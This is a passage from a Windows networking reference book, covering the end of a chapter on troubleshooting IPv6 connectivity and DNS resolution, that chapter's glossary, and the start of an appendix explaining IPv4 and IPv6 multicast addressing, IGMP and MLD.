The destination cache stores next-hop IPv6 addresses for destinations. To display the current
contents of the destination cache, use the netsh interface ipv6 show destinationcache
command. To flush the destination cache, use the netsh interface ipv6 delete destinationcache
command.
Ping the default router
Use the Ping tool to ping your default router by its IPv6 address. You can obtain the link-local IPv6
address of your default router from the display of the ipconfig, netsh interface ipv6 show routes,
route print, or nbtstat -r commands. Pinging the default router tests whether you can reach local
nodes and whether you can reach the default router, which forwards IPv6 packets to remote nodes.
When you ping the default router, you must specify the zone identifier (ID) for the interface on which
you want the ICMPv6 Echo Request messages to be sent. The zone ID is the interface index of the
default route (::/0) with the lowest metric, from the display of the netsh interface ipv6 show routes
or route print commands.
This step might not succeed if the default router is filtering all ICMPv6 messages.
Ping a remote destination by its IPv6 address
If you are able to ping your default router, ping a remote destination by its IPv6 address. This step
might not succeed if the destination is filtering all ICMPv6 messages.
Trace the route to the remote destination
If you are unable to ping a remote destination by its IPv6 address, there might be a routing problem
between your node and the destination node. Use the tracert –d IPv6Address command to trace
the routing path to the remote destination. The –d command line option prevents the Tracert tool
Chapter 16 – Troubleshooting TCP/IP
TCP/IP Fundamentals for Microsoft Windows
Page: 478
from performing a DNS reverse query on every near-side router interface in the routing path, which
speeds up the display of the routing path. This step might not succeed if the intermediate routers or
the destination are filtering all ICMPv6 messages.
Check Packet Filtering
The problem with reaching a destination node might be due to the configuration of Internet Protocol
security (IPsec) or packet filtering on the source node, intermediate routers, or destination node that is
preventing packets from being sent, forwarded, or received.
On the source node, check for the following:
Active connection security rules with the Windows Firewall with Advanced Security snap-in
Active IPsec policies with the IP Security Monitor snap-in
For computers running Windows Server 2008, Routing and Remote Access IPv6 packet filters on
routing interfaces with the Routing and Remote Access snap-in
IPsec for IPv6 policies that have been configured with the Ipsec6 tool.
On intermediate IPv6 routers that are running Windows, check for the following:
Active connection security rules with the Windows Firewall with Advanced Security snap-in
Active IPsec policies with the IP Security Monitor snap-in
For computers running Windows Server 2008, Routing and Remote Access IPv6 packet filters on
routing interfaces with the Routing and Remote Access snap-in
IPsec for IPv6 policies that have been configured with the Ipsec6 tool.
For third-party intermediate IPv6 routers or firewalls, check for the configuration of IPv6-based packet
filters and IPsec policies.
On the destination node, check for the following:
Windows Firewall
For computers running Windows Server 2008, Routing and Remote Access IPv6 packet filters on
routing interfaces with the Routing and Remote Access snap-in
Active connection security rules with the Windows Firewall with Advanced Security snap-in (Windows
Vista and Windows Server 2008)
Active IPsec policies with the IP Security Monitor snap-in (Windows Vista and Windows Server 2008)
IPsec for IPv6 policies that have been configured with the Ipsec6 tool
The simple IPv6 firewall
IPv6 for Windows Server 2003 includes support for a simple firewall on an interface. When enabled,
IPv6 drops incoming TCP Synchronize (SYN) segments and drops all unsolicited incoming UDP
messages. You can configure the simple firewall with the netsh interface ipv6 set interface
interface=NameOrIndex firewall=enabled|disabled command.
Internet Connection Firewall for IPv6
Chapter 16 – Troubleshooting TCP/IP
TCP/IP Fundamentals for Microsoft Windows
Page: 479
The Internet Connection Firewall for IPv6 is included with the Advanced Networking Pack for
Windows XP, a free download for Windows XP with SP1.
For more information about these packet filtering components, see Chapter 13, "Internet Protocol
Security (IPsec) and Packet Filtering."
View and Manage the IPv6 Routing Table
The inability to reach a local or remote destination might be due to incorrect or missing routes in the
IPv6 routing table. To view the IPv6 routing table, use the route print, netstat –r, or netsh interface
ipv6 show routes commands. Verify that you have a route corresponding to your local subnet and, if
automatically configured with a default router, a default route. If you have multiple default routes with
the same lowest metric, you might need to modify your IPv6 router configurations so that the default
route with the lowest metric uses the interface that connects to the network with the largest number of
subnets.
To add a route to the IPv6 routing table, use the netsh interface ipv6 add route command. To modify
an existing route, use the netsh interface ipv6 set route command. To remove an existing route, use
the netsh interface ipv6 delete route command.
In Windows Vista and Windows Server 2008, you can use the route add, route delete, and route
change commands to manage IPv6 routes.
Verify Router Reliability
If you suspect a problem with router performance, use the pathping –d IPv6Address command to trace
the path to a destination and display information on packet losses for each router and link in the path.
The –d command line option prevents the Pathping tool from performing a DNS reverse query on every
near-side router interface in the routing path, which speeds up the display of the routing path.
Verifying DNS Name Resolution for IPv6 Addresses
If reachability using IPv6 addresses works but reachability using host names does not, you might have
a problem with host name resolution, which is typically a problem with the configuration of the DNS
client or problems with DNS registration.
You can use the following tasks to troubleshoot problems with DNS name resolution:
Verify DNS configuration
Display and flush the DNS client resolver cache
Test DNS name resolution with the Ping tool
Use the Nslookup tool to view DNS server responses
Verify DNS Configuration
On the node having DNS name resolution problems, verify the following:
Host name
The primary DNS suffix
DNS suffix search list
Chapter 16 – Troubleshooting TCP/IP
TCP/IP Fundamentals for Microsoft Windows
Page: 480
Connection-specific DNS suffixes
DNS servers
You can obtain this information from the display of the ipconfig /all command. To obtain information
about which DNS names should be registered in DNS, use the netsh interface ip show dns
command.
By default, IPv6 configures the well-known site-local addresses of DNS servers at FEC0:0:0:FFFF::1,
FEC0:0:0:FFFF::2, and FEC0:0:0:FFFF::3 on each interface that receives a router advertisement. To
add the IPv6 addresses of additional DNS servers, use the netsh interface ipv6 add dns command.
To register the appropriate DNS names as IPv6 address resource records (also known as AAAA
resource records) with DNS dynamic update, use the ipconfig /registerdns command.
Display and Flush the DNS Client Resolver Cache
TCP/IP checks the DNS client resolver cache before sending DNS name queries. If a positive cache
entry exists for a resolved name, the corresponding IPv6 address is used. If a negative cache entry for
the name exists, DNS name queries are not sent.
To display the contents of the DNS client resolver cache, use the ipconfig /displaydns command. To
flush the contents of the DNS client resolver cache and reload it with the entries in the Hosts file, use
the ipconfig /flushdns command.
Test DNS Name Resolution with the Ping Tool
To test DNS name resolution, use the Ping tool and ping a destination by its host name or FQDN. The
Ping tool display shows the FQDN and its corresponding IPv6 address.
Use the Nslookup Tool to View DNS Server Responses
If the Ping tool is using the wrong IPv6 address, flush the DNS client resolver cache and use the
Nslookup tool to determine the set of addresses returned in the DNS Name Query Response message.
At the Nslookup > prompt, use the set d2 command to display the maximum amount of information
about the DNS response messages. Then, use Nslookup to look up the desired FQDN. Look for AAAA
records in the detailed display of the DNS response messages.
Verifying IPv6-based TCP Connections
If reachability and name resolution are working but you cannot establish a TCP connection with a
destination host, use the following tasks:
Check for packet filtering
Verify TCP connection establishment
Check for Packet Filtering
As previously discussed in the "Verifying IPv6 Communications" section of this chapter, packet filtering
by the source node, intermediate routers, and the destination node can prevent TCP connections from
being established. Use the information in the "Verifying IPv6 Communications" section of this chapter to
check for packet filtering or IPsec policies at the source node, intermediate routers and firewalls, and
the destination node.
Chapter 16 – Troubleshooting TCP/IP
TCP/IP Fundamentals for Microsoft Windows
Page: 481
In many cases, packet filtering is configured to allow specific types of traffic and discard all others, or to
discard specific types of traffic and accept all others. As an example of the former case, a firewall or
Web server might be configured to allow only HTTP traffic and discard all other traffic destined for the
Web server. This means that you will be able to view Web pages on the Web server, but not ping it or
access its shared folders and files.
Verify TCP Connection Establishment
To verify that a TCP connection can be established using a known destination TCP port number, you
can use the telnet IPv6Address TCPPort command. For example, to verify whether the Web server
service on the computer with the IPv6 address of 2001:DB8::21AD:2AA:FF:FE31:AC89 is accepting
TCP connections on TCP port 80, use the telnet 2001:db8::21ad:2aa:ff:fe31:ac89 80 command.
If the Telnet tool can successfully create a TCP connection, the command prompt window will clear
and, depending on the protocol, display some text. This window allows you to type in commands to the
service to which you have connected. Type Control-C to exit the Telnet tool. If the Telnet tool cannot
successfully create a TCP connection, it displays the message "Connecting To IPv6Address...Could not
open connection to the host, on port TCPPort: Connect failed".
Another tool that you can use to test TCP connection establishment is Test TCP (Ttcp). With Ttcp, you
can both initiate TCP connections and listen for TCP connections. You can also use the Ttcp tool for
UDP traffic. With Ttcp, you can configure a computer to listen on a specific TCP or UDP port without
having to install the application or service on the computer. This allows you to test network connectivity
for specific traffic before the services are in place.
For more information about Ttcp, see Testing Network Paths for Common Types of Traffic.
Chapter 16 – Troubleshooting TCP/IP
TCP/IP Fundamentals for Microsoft Windows
Page: 482
Chapter Summary
This chapter includes the following pieces of key information:
To try and isolate the components that might be at fault when approaching a troubleshooting issue, you
should determine what works, what does not work, whether it has ever worked, and what has changed
since it last worked.
Windows provides the following tools for troubleshooting TCP/IP problems: Arp, Hostname, Ipconfig,
Nbtstat, Netsh, Netstat, Nslookup, Ping, Route, Tracert, Pathping, SNMP service, Event Viewer,
Performance Logs and Alerts, Network Monitor, and Netdiag.
Troubleshoot IPv4 communications by verifying IPv4 connectivity, DNS name resolution for IPv4
addresses, NetBIOS name resolution, packet filtering, and IPv4-based TCP sessions.
Troubleshoot IPv6 communications by verifying IPv6 connectivity, DNS name resolution for IPv6
addresses, packet filtering, and IPv6-based TCP sessions.
Chapter 16 – Troubleshooting TCP/IP
TCP/IP Fundamentals for Microsoft Windows
Page: 483
Chapter Glossary
address resolution – The IPv4 (using ARP) or IPv6 (using neighbor discovery) process that resolves the
MAC address for a next-hop IP address on a link.
Address Resolution Protocol – A protocol that uses broadcast traffic on the local subnet to resolve an
IPv4 address to its MAC address.
ARP – See Address Resolution Protocol.
ARP cache – A table for each interface of static or dynamically resolved IPv4 addresses and their
corresponding MAC addresses.
default gateway – A configuration parameter for IPv4 that is the IPv4 address of a neighboring IPv4
router. Configuring a default gateway creates a default route in the IPv4 routing table.
default route – A route that summarizes all possible destinations and is used for forwarding when the
routing table does not contain any other more specific routes for the destination. For example, if a
router or sending host cannot find a subnet route, a summarized route, or a host route for the
destination, IP selects the default route. The default route is used to simplify the configuration of hosts
and routers. For IPv4 routing tables, the default route is the route with the network destination of 0.0.0.0
and netmask of 0.0.0.0. For IPv6 routing tables, the default route has the address prefix ::/0.
default router – A configuration parameter for IPv6 that is the link-local address of a neighboring IPv6
router. Default routers are automatically configured by IPv6 router discovery.
destination cache – A table for destination IPv6 addresses and their previously determined next-hop
addresses.
DNS – See Domain Name System (DNS).
DNS client resolver cache – A RAM-based table that contains both the entries in the Hosts file and the
results of recent DNS name queries.
DNS server – A server that maintains a database of mappings of DNS domain names to various types
of data, such as IP addresses.
Domain Name System (DNS) – A hierarchical, distributed database that contains mappings of DNS
domain names to various types of data, such as IP addresses. DNS enables the specification of
computers and services by user-friendly names, and it also enables the discovery of other information
stored in the database.
Host name – The name of a computer or device on a network. Users specify computers on the network
by their host names. To find another computer, its host name must either appear in the Hosts file or be
known by a DNS server. For most Windows-based computers, the host name and the computer name
are the same.
Host name resolution – The process of resolving a host name to a destination IP address.
Hosts file – A local text file in the same format as the 4.3 BSD UNIX /etc/hosts file. This file maps host
names to IP addresses, and it is stored in the systemroot\System32\Drivers\Etc folder.
Chapter 16 – Troubleshooting TCP/IP
TCP/IP Fundamentals for Microsoft Windows
Page: 484
Lmhosts file – A local text file that maps NetBIOS names to IP addresses for hosts that are located on
remote subnets. For Windows-based computers, this file is stored in the
systemroot\System32\Drivers\Etc folder.
negative cache entries – Host names added into the DNS client resolver cache that were queried but
that could not be resolved.
neighbor cache – A cache maintained by every IPv6 node that stores the on-subnet IPv6 address of a
neighbor and its corresponding MAC address. The neighbor cache is equivalent to the ARP cache in
IPv4.
NBNS – See NetBIOS name server (NBNS).
NetBIOS name - A 16-byte name of a process using NetBIOS.
NetBIOS name cache – A dynamically maintained table that resides on a NetBIOS-enabled host and
that stores recently resolved NetBIOS names and their associated IPv4 addresses.
NetBIOS name resolution – The process of resolving a NetBIOS name to an IPv4 address.
NetBIOS name server (NBNS) – A server that stores NetBIOS name to IPv4 address mappings and
resolves NetBIOS names for NetBIOS-enabled hosts. WINS is the Microsoft implementation of a
NetBIOS name server.
routing table – The set of routes used to determine the next-hop address and interface for IP traffic sent
by a host or forwarded by a router.
Windows Internet Name Service (WINS) – The Microsoft implementation of a NetBIOS name server.
WINS – See Windows Internet Name Service (WINS).
Appendix A – IP Multicast
TCP/IP Fundamentals for Microsoft Windows
Page: 485
Appendix A – IP Multicast
Abstract
This appendix describes Internet Protocol (IP) multicast for both Internet Protocol version 4 (IPv4) and Internet Protocol
version 6 (IPv6) and its support in Microsoft Windows operating systems. IP multicast is a one-to-many delivery
mechanism that is useful for efficiently distributing data to interested listening hosts at arbitrary locations on a private
network or on the Internet. Network administrators must understand multicast concepts, multicast addressing and
forwarding, multicast address allocation, and reliable multicast to effectively use and troubleshoot IP multicast traffic.
Appendix A – IP Multicast
TCP/IP Fundamentals for Microsoft Windows
Page: 486
Overview of IP Multicast
In addition to unicast and broadcast support, IP also provides a mechanism to send and receive IP
multicast traffic. IP multicast traffic is sent to a single destination IP address but is received and
processed by multiple IP hosts, regardless of their location on an IP network. A host listens for a
specific IP multicast address and receives all packets to that IP address.
IP multicast is more efficient than IP unicast or broadcast for one-to-many delivery of data. Unlike
unicast, only one copy of the data is sent. Unlike broadcast, the traffic is only received and processed
by computers that are listening for it.
The set of hosts listening on a specific IP multicast address is called a host group. A host can send
traffic to an IP multicast address without belonging to the corresponding host group. Host group
membership is dynamic. Hosts can join or leave the group at any time and there are no limitations to
the size of a host group.
A host group can span IP routers across multiple network segments. This configuration requires IP
multicast support on IP routers and the ability for hosts to register their interest in receiving multicast
traffic from their neighboring routers. Hosts use the Internet Group Management Protocol (IGMP) for
IPv4 and Multicast Listener Discovery (MLD) for IPv6 for host group membership registration.
IP Multicast-Enabled Intranet
In an IP multicast-enabled intranet, any host can send IP multicast traffic to any group address and any
host can receive IP multicast traffic from any group address, regardless of their location. Figure A-1
shows an example of an IP multicast-enabled intranet.
Figure A-1 An IP multicast-enabled intranet
To facilitate this capability, the hosts and routers of the network must support IP multicast.
Appendix A – IP Multicast
TCP/IP Fundamentals for Microsoft Windows
Page: 487
Host Support for IP Multicast
For a host to send IP multicast packets, it must do the following:
Determine the IP multicast address to use.
The IP multicast address can be hard-coded by the application or obtained through a mechanism
that allocates a unique multicast address.
Place the IP multicast packet on the medium.
The sending host must construct an IP packet containing the destination IP multicast address and
place it on the medium. In the case of shared access technologies such as Ethernet and Token
Ring, the destination media access control (MAC) address is derived from the IP multicast address.
For a host to receive IP multicast packets, it must do the following:
Inform IP to receive multicast traffic.
To determine the IP multicast address to use, the application must first determine whether to create
a new host group or join an existing host group. To join an existing group, the application can use a
hard-coded multicast address or an address derived from a Uniform Resource Locator (URL) string.
After the group address is determined, an application must inform IP to receive multicast traffic sent
to the group address. For example, the application can use Windows Sockets functions to notify IP
of the multicast groups joined. If multiple applications are using the same IP multicast address, IP
must pass a copy of the multicast packet to each application. IP must track which applications are
using which multicast addresses as applications join or leave a host group. For a multihomed host,
IP must track the application membership of host groups for each subnet.
Register the multicast MAC address with the network adapter.
If the network technology supports hardware-based multicasting, then the network adapter is
informed to pass up packets for a specific multicast address. The host uses the Windows
NdisRequest() function to inform the network adapter to respond to a multicast MAC address
corresponding to a IP multicast address.
Inform local routers.
The host must inform local subnet routers that it is listening for multicast traffic at a specific group
address using IGMP or MLD.
Router Support for IP Multicast
To forward IP multicast packets to only those subnets for which there are group members, an IP
multicast router must be able to:
Receive all IP multicast traffic.
For shared access technologies, the normal listening mode for network adapters is unicast listening
mode. The listening mode is the way that the network adapter analyzes the destination MAC
address of incoming frames to decide to process them further. In unicast listening mode, the only
frames that are considered for further processing are in a table of interesting destination MAC
addresses stored on the network adapter. Typically, the only interesting addresses are the
broadcast address (0xFF-FF-FF-FF-FF-FF) and the unicast MAC address of the adapter.
Appendix A – IP Multicast
TCP/IP Fundamentals for Microsoft Windows
Page: 488
However, for an IP multicast router to receive all IP multicast traffic, it must place the network
adapter in a special listening mode called multicast promiscuous mode. Multicast promiscuous
mode analyzes the Institute of Electrical and Electronics Engineers (IEEE)-defined Individual/Group
(I/G) bit to determine whether the frame requires further processing. The I/G bit for Ethernet
addresses is the low-order bit of the first byte of the destination MAC address.
The values of the I/G bit are the following:
If set to 0, then the address is a unicast (or individual) address.
If set to 1, then the address is a multicast (or group) address. The multicast bit is also set to 1 for
the broadcast address.
When the network adapter is placed in multicast promiscuous listening mode, any frames with the
I/G bit set to 1 are passed up for further processing.
Multicast promiscuous mode is different than promiscuous mode. In promiscuous mode, all
frames—regardless of the destination MAC address—are passed up for processing. Protocol
analyzers, such as Network Monitor 3.1, use promiscuous mode. Network adapters of hosts are
typically not placed in multicast promiscuous mode.
Forward IP multicast traffic.
IP multicast packet forwarding is a capability of IP. When IP multicast forwarding is enabled, IP
analyzes IP multicast data packets to determine the interfaces over which the packet is to be
forwarded. IP performs this analysis by comparing the IP source and destination group addresses
to entries in the IP multicast forwarding table. Upon receipt of a non-local IP multicast packet, the
Time to Live (TTL) in the IPv4 header or the Hop Limit field in the IPv6 header is decremented by 1.
If the TTL or hop limit is greater than 0 after decrementing, the multicast forwarding table is
checked. If an entry in the multicast forwarding table is found that matches the destination IP
multicast address, the IP multicast packet is forwarded with its new TTL or hop limit over the
appropriate interfaces.
The multicast forwarding process does not distinguish between hosts on locally attached subnets
that are receiving multicast traffic or hosts on a network segment that are downstream from the
locally attached subnet across another router on the subnet. In other words, a multicast router
might forward a multicast packet on a subnet for which there are no hosts listening. The multicast
router forwards the packet because another router on that subnet indicated that a host in its
direction is receiving the multicast traffic.
The multicast forwarding table does not record each host group member or the number of host
group members, only that the multicast traffic needs to be forwarded over specific interfaces.
Receive and process multicast group membership messages sent by hosts.
Multicast routers receive IGMP or MLD messages from hosts on all locally attached subnets. This
information is used to track host group membership by placing or removing entries in the multicast
forwarding table. Because all multicast routers are listening in multicast promiscuous mode, they
receive all IGMP and MLD messages sent to any group address.
To improve the leave latency, which is the time between when the last host on a subnet has left the
group and when no more multicast traffic for that group is forwarded to that subnet, a host that
might be the last member of a group on a subnet sends an IGMP Leave Group or MLD Multicast
Appendix A – IP Multicast
TCP/IP Fundamentals for Microsoft Windows
Page: 489
Listener Done message. After sending multicast-address-specific IGMP or MLD queries to the
group being left and receiving no response, the router determines that there are no more group
members on that subnet.
Query attached subnets for host membership status.
Multicast routers periodically send general IGMP and MLD query messages to the local subnet to
query for host membership information. A host that is still a member of a multicast group responds
to the query.
Communicate group membership to other IP multicast routers.
To create multicast-enabled IP networks containing more than one router, multicast routers must
communicate group membership information to each other so that group members can receive IP
multicast traffic regardless of their location on the IP network.
Multicast routers exchange host membership information using a multicast routing protocol such as
Distance Vector Multicast Routing Protocol (DVMRP), Multicast Open Shortest Path First (MOSPF),
or Protocol Independent Multicast (PIM). Group membership is either communicated explicitly, by
exchanging group address and subnet information, or implicitly, by informing upstream routers
whether or not group members exist downstream from the source of the multicast traffic.
The goals of a multicast routing protocol include the following:
Forward traffic away from the source to prevent loops.
Minimize or eliminate multicast traffic to subnets that do not need the traffic.
Minimize processor and memory load on the router for scalability.
Minimize the overhead of the routing protocol.
Minimize the join latency, which is the time it takes for the first host member on a subnet to begin
receiving group traffic.
Multicast routing is more complex than unicast routing. With unicast routing, unicast traffic is
forwarded to a globally unique destination. Unicast routes summarize ranges of globally unique
destinations. Unicast routes in the network are comparatively consistent and only need to be
updated when the topology of the IP network changes.
With multicast routing, multicast traffic is forwarded to an ambiguous group destination. Group
addresses represent individual groups, and in general, cannot be summarized in the multicast
forwarding table. The location of group members is not consistent, and the multicast forwarding
tables of multicast routers might need to be updated whenever a host group member joins or leaves
a host group.
Just as unicast routing protocols update the unicast IP routing table, multicast routing protocols
update the IP multicast forwarding table.
Routing and Remote Access in Windows Server 2008 and Windows Server 2003 does not include
any IPv4 or IPv6 multicast routing protocols, although it provides a platform on which third-party
IPv4 multicast routing protocols can run. The only component provided with Windows Server 2008
and Windows Server 2003 that can update entries in the IPv4 multicast forwarding table is the
IGMP routing protocol component of Routing and Remote Access.
Appendix A – IP Multicast
TCP/IP Fundamentals for Microsoft Windows
Page: 490
Multicast Addresses
Multicast addresses are defined for both IPv4 and IPv6 addresses.
IPv4 Multicast Addresses
IPv4 multicast addresses, also known as group addresses, are in the class D range of 224.0.0.0/4 (from
224.0.0.0 to 239.255.255.255) as defined by setting the first four high order bits to 1110. Multicast
addresses in the range 224.0.0.0/24 (from 224.0.0.0 to 224.0.0.255) are reserved for the local subnet
and are not forwarded by IPv4 routers regardless of the TTL value in the IPv4 header. The following are
examples of reserved IPv4 multicast addresses:
224.0.0.1 - all hosts on this subnet
224.0.0.2 - all routers on this subnet
224.0.0.5 – all Open Shortest Path First (OSPF) routers on a subnet
224.0.0.6 – all OSPF designated routers on a subnet
224.0.0.9 - Routing Information Protocol (RIP) Version 2
For the current list of reserved IPv4 multicast addresses, see
http://www.iana.org/assignments/multicast-addresses.
Mapping IPv4 Multicast to MAC-Layer Multicast
To support IPv4 multicasting, the Internet authorities have reserved the multicast address range of 01-
00-5E-00-00-00 to 01-00-5E-7F-FF-FF for Ethernet MAC addresses. To map an IPv4 multicast address
to a MAC-layer multicast address, the low order 23 bits of the IPv4 multicast address are mapped
directly to the low order 23 bits in the MAC-layer multicast address. Figure A-2 shows the mapping of
an IPv4 multicast address to an Ethernet multicast address.
Figure A-2 Mapping IPv4 multicast addresses to Ethernet multicast addresses
For example:
The IPv4 multicast address 224.0.0.1 is mapped to 01-00-5E-00-00-01.
Appendix A – IP Multicast
TCP/IP Fundamentals for Microsoft Windows
Page: 491
When mapping the 23 low order bits, the first octet is not used, and only the last 7 bits of the
second octet is used. The third and fourth octets are converted directly to hexadecimal numbers.
For the second and third octets, 0 in hexadecimal is 0x00. For the last octet, 1 in hexadecimal is
0x01. Therefore, the destination MAC address corresponding to 224.0.0.1 becomes 01-00-5E-00-
00-01.
The IPv4 multicast address 224.192.16.1 is mapped to 01-00-5E-40-10-01.
For the second octet, 192 in binary is 11000000. If you drop the high order bit, it becomes 1000000
or 64 (in decimal), or 0x40 (in hexadecimal). For the third octet, 16 in hexadecimal is 0x10. For the
last octet, 1 in hexadecimal is 0x01. Therefore, the destination MAC address corresponding to
224.192.16.1 becomes 01-00-5E-40-10-01.
Because the first 4 bits of an IPv4 multicast address are fixed according to the class D convention,
there are 5 bits in the IPv4 multicast address that do not map to the MAC-layer multicast address.
Therefore, it is possible for a host to receive MAC-layer multicast packets for groups to which it does
not belong. However, IPv4 drops these packets once the destination IPv4 address is determined.
Token Ring uses this same method for MAC-layer multicast addressing. However, many Token Ring
network adapters do not support it. Therefore, by default, the functional address 0xC0-00-00-04-00-00
is used for all IP multicast traffic sent over Token Ring networks. For more information about Token
Ring support for IPv4 multicasting, see RFC 1469.
IPv6 Multicast Addresses
IPv6 multicast addresses have the first eight bits fixed at 1111 1111 (FF00::/8). Therefore, an IPv6
multicast address always begins with FF. Multicast addresses cannot be used as source addresses or
as intermediate destinations in a Routing header. Beyond the first eight bits, IPv6 multicast addresses
include additional structure to identify flags, their scope, and the multicast group. Figure A-3 shows the
structure of the IPv6 multicast address.
Figure A-3 The structure of the IPv6 multicast address
The fields in the multicast address are:
Flags Indicates flags set on the multicast address. The size of this field is 4 bits. RFC 4291 defines the
Transient (T) flag, which uses the low-order bit of the Flags field. When set to 0, the T flag indicates that
the multicast address is a permanently assigned (well-known) multicast address allocated by the IANA.
When set to 1, the T flag indicates that the multicast address is a transient (non-permanently-assigned)
multicast address.
Scope Indicates the scope of the IPv6 network for which the multicast traffic must be delivered. The
size of this field is 4 bits. In addition to information provided by multicast routing protocols, routers use
the multicast scope to determine whether multicast traffic can be forwarded. Commonly used values for
the Scope field include 1 for interface-local scope, 2 for link-local scope, and 5 for site-local scope.
Additional values for the Scope field are defined in RFC 4291.
Appendix A – IP Multicast
TCP/IP Fundamentals for Microsoft Windows
Page: 492
Group ID Identifies the multicast group and is unique within the scope. The size of this field is 112 bits.
Permanently assigned group IDs are independent of the scope. Transient group IDs are relevant only to
a specific scope. Multicast addresses from FF01:: through FF0F:: are reserved, well-known addresses.
To identify all nodes for the interface-local and link-local scopes, the following addresses are defined:
FF01::1 (interface-local scope all-nodes multicast address)
FF02::1 (link-local scope all-nodes multicast address)
To identify all routers for the interface-local, link-local, and site-local scopes, the following addresses
are defined:
FF01::2 (interface-local scope all-routers multicast address)
FF02::2 (link-local scope all-routers multicast address)
FF05::2 (site-local scope all-routers multicast address)
For the current list of permanently assigned IPv6 multicast addresses, see
http://www.iana.org/assignments/ipv6-multicast-addresses.
IPv6 multicast addresses replace all forms of IPv4 broadcast addresses. The IPv4 network broadcast
(all host bits are set to 1 in a classful environment), subnet broadcast (all host bits are set to 1 in a
classless environment), and limited broadcast (255.255.255.255) addresses are replaced by the link-
local scope all-nodes multicast address (FF02::1) in IPv6.
Solicited-Node Address
The solicited-node address facilitates the efficient querying of network nodes during link-layer address
resolution, the resolving of a link-layer address of a known IPv6 address. In IPv4, the ARP Request
frame is sent to the MAC-level broadcast, disturbing all nodes on the network segment, including those
that are not running IPv4. IPv6 uses the Neighbor Solicitation message to perform link-layer address
resolution. However, instead of using the local-link scope all-nodes multicast address as the Neighbor
Solicitation message destination, which would disturb all IPv6 nodes on the local link, the solicited-node
multicast address is used. The solicited-node multicast address is constructed from the prefix
FF02::1:FF00:0/104 and the last 24 bits of the unicast IPv6 address being resolved. Figure A-4 shows
the mapping of unicast IPv6 address to its corresponding solicited node multicast address.
Figure A-4 Mapping an IPv6 unicast address to its corresponding solicited node multicast address
For example, Node A is assigned the link-local address of FE80::2AA:FF:FE28:9C5A and is also
listening on the corresponding solicited-node multicast address of FF02::1:FF28:9C5A (the underline is
Appendix A – IP Multicast
TCP/IP Fundamentals for Microsoft Windows
Page: 493
used to highlight the correspondence of the last six hexadecimal digits). Node B on the local link must
resolve Node A’s link-local address FE80::2AA:FF:FE28:9C5A to its corresponding link-layer address.
Node B sends a Neighbor Solicitation message to the solicited node multicast address of
FF02::1:FF28:9C5A. Because Node A is listening on this multicast address, it processes the Neighbor
Solicitation message and sends back a unicast Neighbor Advertisement message in reply.
The result of using the solicited-node multicast address is that link-layer address resolutions, a common
occurrence on a link, are not using a mechanism that disturbs all network nodes. By using the solicited-
node address, very few nodes are disturbed during address resolution. In practice, due to the
relationship between the link-layer MAC address, the IPv6 interface ID, and the solicited-node address,
the solicited-node address acts as a pseudo-unicast address for very efficient address resolution.
Mapping IPv6 Multicast to MAC-Layer Multicast
To support IPv6 multicasting, the Internet authorities have reserved the multicast address range of 33-
33-00-00-00-00 to 33-33-FF-FF-FF-FF for Ethernet MAC addresses. To map an IPv6 multicast address
to a MAC-layer multicast address, the low order 32 bits of the IPv6 multicast address are mapped
directly to the low order 32 bits in the MAC-layer multicast address. Figure A-5 shows the mapping of
an IPv6 multicast address to an Ethernet multicast address.
Figure A-5 Mapping IPv6 multicast addresses to Ethernet multicast addresses
For example:
The link-local scope all-nodes multicast address of FF02::1 maps to the Ethernet multicast address of
33-33-00-00-00-01.
The example solicited-node address of FF02::1:FF3F:2A1C maps to the Ethernet multicast address of
33-33-FF-3F-2A-1C.
Multicast Subnet Membership Management
For multicast subnet group membership, IPv4 nodes use IGMP and IPv6 nodes use MLD.
Appendix A – IP Multicast
TCP/IP Fundamentals for Microsoft Windows
Page: 494
IGMP for IPv4
Routers and hosts use IGMP to manage subnet host membership in IPv4 multicast groups. IGMP
messages take the following forms:
When a host joins a host group, it sends an IGMP Host Membership Report message to the all-hosts
IPv4 multicast address (224.0.0.1) or to the specified IPv4 multicast address declaring its membership
in a specific host group by referencing the IPv4 multicast address.
When a router polls a network to ensure that there are members of a specific host group, it sends an
IGMP Host Membership Query message to the all-hosts IPv4 multicast address. If no responses to the
poll are received after several polls, the router assumes no membership in that group for that network
and stops advertising that group-network information to other routers.
When a host leaves an IPv4 multicast group and has determined that it is the last member of that group
on the subnet, it sends an IGMP Leave Group message.
TCP/IP in Windows supports IGMP, IGMP version 2 (IGMP v2), and IGMP version 3 (IGMP v3). There
is no IGMP-related configuration required for a Windows-based computer to use all three versions of
IGMP.
IGMP is defined in RFC 1112. IGMP v2 is defined in RFC 2236. IGMP v3 is defined in RFC 3376.
MLD for IPv6
MLD is the IPv6 equivalent of IGMP v2 for IPv4. MLD is a set of ICMPv6 messages exchanged by
routers and nodes, enabling routers to discover the set of multicast addresses for which there are
listening nodes for each attached interface. Like IGMPv2, MLD only discovers the list of multicast
addresses for which there is at least one listener, not the list of individual multicast listeners for each
multicast address. MLD is described in RFC 2710.
The three types of MLD messages are:
When a host joins a host group, it sends an MLD Multicast Listener Report message to the specific
IPv6 multicast address declaring its membership in a specific host group.
When a router polls a network to ensure that there are members of a specific host group, it sends an
MLD Multicast Listener Report message to the link-local scope all-hosts IPv6 multicast address
(FF02::1).
When a host leaves an IPv6 multicast group and has determined that it is the last member of that group
on the subnet, the host sends an MLD Multicast Listener Done message.
Table A-1 lists IGMPv2 messages and their corresponding MLD equivalents.
Appendix A – IP Multicast
TCP/IP Fundamentals for Microsoft Windows
Page: 495
IGMPv2 message
MLD equivalent
Host Membership Report
Multicast Listener Report
Host Membership Query
Multicast Listener Query
Leave Group
Multicast Listener Done
Table A-1 IGMPv2 messages and their MLD equivalents
MLD version 2 (MLDv2) is the IPv6 equivalent of IGMP v3 for IPv4. MLDv2 is described in RFC 3810.
Windows Server 2008 and Windows Vista support MLDv2.
Appendix A – IP Multicast
TCP/IP Fundamentals for Microsoft Windows
Page: 496
IPv4 Multicast Forwarding Support in Windows Server 2008 and
Windows Server 2003
Multicast forwarding in Windows Server 2008 and Windows Server 2003 consists of the following:
IPv4 multicast forwarding by the Internet Protocol Version 4 (TCP/IPv4) or Internet Protocol (TCP/IP)
component
The IGMP routing protocol component of Routing and Remote Access
IPv4 Multicast Forwarding
In Windows, IPv4 multicast forwarding is supported by the Internet Protocol Version 4 (TCP/IPv4) or
Internet Protocol (TCP/IP) component. IPv4 multicast forwarding is enabled when you configure and
enable Routing and Remote Access. The Internet Protocol Version 4 (TCP/IPv4) or Internet Protocol
(TCP/IP) component maintains an IPv4 multicast forwarding table, which can be viewed from the
Routing and Remote Access snap-in or by using the netsh routing ip show mfe command.
